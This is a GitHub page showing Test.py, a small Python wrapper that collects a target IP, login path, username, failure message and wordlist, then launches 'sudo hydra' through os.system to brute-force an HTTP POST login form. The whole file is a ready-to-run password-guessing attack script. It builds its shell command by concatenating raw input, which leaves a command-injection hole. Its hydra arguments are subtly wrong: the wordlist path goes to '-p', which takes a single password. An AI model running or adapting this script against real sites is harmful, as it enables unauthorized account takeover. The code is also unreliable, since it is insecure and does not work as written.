-
Notifications
You must be signed in to change notification settings - Fork 0
/
Test.py
56 lines (38 loc) · 1.17 KB
/
Test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import os
username = input("Enter username:")
print("---------------------------")
print("Set Username to: " + username)
print("---------------------------")
cmd = 'clear'
os.system(cmd)
ip = input("Enter Ip:")
print("---------------------------")
print("Set ip to: " + ip)
print("---------------------------")
cmd = 'clear'
os.system(cmd)
method = "http-post-form"
location = input("Specify path to attack:")
print("---------------------------")
print("Set path to: " + location)
print("---------------------------")
cmd = 'clear'
os.system(cmd)
fail = input("Enter Failure Message: ")
print("----------------------------")
print("Set message to: " + fail)
print("----------------------------")
os.system(cmd)
wordls = input("Enter the path of the wordlist: ")
print("----------------------------")
print("set wordlist to: " + wordls)
print("----------------------------")
input("Press enter to start attack")
os.system(cmd)
hydra1 = 'sudo hydra -l '
hydra2 = ' -p '
hydra3 = ' "'
hydra4 = ':username='
hydra5 = '&password=^PASS^:'
hydra6 = '"'
os.system(hydra1 + username + hydra2 + wordls + ' ' + ip + ' ' + method + hydra3 + location + hydra4 + username + hydra5 + fail + hydra6)